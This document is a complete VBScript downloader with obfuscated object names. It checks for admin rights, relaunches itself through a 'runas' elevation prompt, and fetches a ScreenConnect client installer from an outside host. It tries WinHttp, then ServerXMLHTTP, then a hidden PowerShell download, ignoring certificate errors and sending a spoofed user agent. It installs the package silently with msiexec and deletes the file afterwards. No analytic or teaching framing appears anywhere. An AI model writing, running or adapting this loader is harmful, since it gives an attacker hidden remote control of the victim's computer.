Set app_036731   = CreateObject("Shell."&Chr(65)&"p"&Chr(112)&"lic"&Chr(97)&"tion")
Set wsh_c0dca0 = CreateObject("W"&Chr(83)&"cript"&Chr(46)&"Shel"&Chr(108))
Set fso_c2c6b3   = CreateObject("Sc"&Chr(114)&"ipting.F"&Chr(105)&"l"&Chr(101)&"S"&Chr(121)&"s"&Chr(116)&"emObj"&Chr(101)&"ct")
If Not WScript.Arguments.Named.Exists("Elevated") Then
    Dim bAdm : bAdm = False
    On Error Resume Next
    CreateObject("WSc"&Chr(114)&"i"&Chr(112)&"t."&Chr(83)&"hell").RegRead "HKEY_"&Chr(85)&"SE"&Chr(82)&"S\S-1"&Chr(45)&"5"&Chr(45)&"19\"
    bAdm = (Err.Number = 0)
    Err.Clear : On Error GoTo 0
    If Not bAdm Then
        app_036731.ShellExecute "w"&Chr(115)&"cr"&Chr(105)&"pt"&Chr(46)&"e"&Chr(120)&"e", Chr(34) & WScript.ScriptFullName & Chr(34) & " /Elevated", "", "ru"&Chr(110)&"as", 0
        WScript.Quit
    End If
End If
On Error Resume Next
Dim url_7ba1fa, msi_16965f, ok_b76e12
url_7ba1fa = "https://mosscompany.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
msi_16965f = wsh_c0dca0.ExpandEnvironmentStrings("%TEMP%") & "\inst_" & Hex(CLng(Timer * 1000) Mod 99999) & ".msi"
ok_b76e12  = False
Function Fetch_af8b6a(url, dest)
    Fetch_af8b6a = False
    On Error Resume Next
    Err.Clear
    Dim h : Set h = CreateObject("WinH"&Chr(116)&"tp"&Chr(46)&"Wi"&Chr(110)&"Htt"&Chr(112)&"Re"&Chr(113)&"u"&Chr(101)&"s"&Chr(116)&".5.1")
    h.Open "G"&Chr(69)&"T", url, False
    h.SetRequestHeader "U"&Chr(115)&"er-A"&Chr(103)&"ent", "Moz"&Chr(105)&"lla/"&Chr(52)&"."&Chr(48)&" "&Chr(40)&"com"&Chr(112)&"a"&Chr(116)&"ible; M"&Chr(83)&"I"&Chr(69)&" 7"&Chr(46)&"0"&Chr(59)&" Win"&Chr(100)&"ows"&Chr(32)&"NT 6.0)"
    h.setOption 4, 13056
    h.Send
    If Err.Number = 0 Then
        If h.Status = 200 Then
            Dim s : Set s = CreateObject("AD"&Chr(79)&"DB.Str"&Chr(101)&"am")
            s.Type = 1 : s.Open : s.Write h.ResponseBody : s.SaveToFile dest, 2 : s.Close
            If fso_c2c6b3.FileExists(dest) Then
                If fso_c2c6b3.GetFile(dest).Size > 0 Then Fetch_af8b6a = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    Dim x : Set x = CreateObject("Msxm"&Chr(108)&"2."&Chr(83)&"e"&Chr(114)&"ver"&Chr(88)&"M"&Chr(76)&"H"&Chr(84)&"TP.6.0")
    x.open "G"&Chr(69)&"T", url, False
    x.setOption 2, 13056
    x.setRequestHeader "Accep"&Chr(116), "*/*"
    x.send
    If Err.Number = 0 Then
        If x.status = 200 Then
            Dim s2 : Set s2 = CreateObject("ADO"&Chr(68)&"B.Strea"&Chr(109))
            s2.Type = 1 : s2.Open : s2.Write x.responseBody : s2.SaveToFile dest, 2 : s2.Close
            If fso_c2c6b3.FileExists(dest) Then
                If fso_c2c6b3.GetFile(dest).Size > 0 Then Fetch_af8b6a = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    wsh_c0dca0.Run "powershell -WindowStyle Hidden -NoProfile -Command ""(New-Object Net.WebClient).DownloadFile('" & url & "','" & dest & "')""", 0, True
    If Err.Number = 0 Then
        If fso_c2c6b3.FileExists(dest) Then
            If fso_c2c6b3.GetFile(dest).Size > 0 Then Fetch_af8b6a = True
        End If
    End If
    Err.Clear
End Function
ok_b76e12 = Fetch_af8b6a(url_7ba1fa, msi_16965f)
If ok_b76e12 Then
    wsh_c0dca0.Run "msiexec.exe /i """ & msi_16965f & """ /qn /norestart", 0, True
End If
If fso_c2c6b3.FileExists(msi_16965f) Then fso_c2c6b3.DeleteFile msi_16965f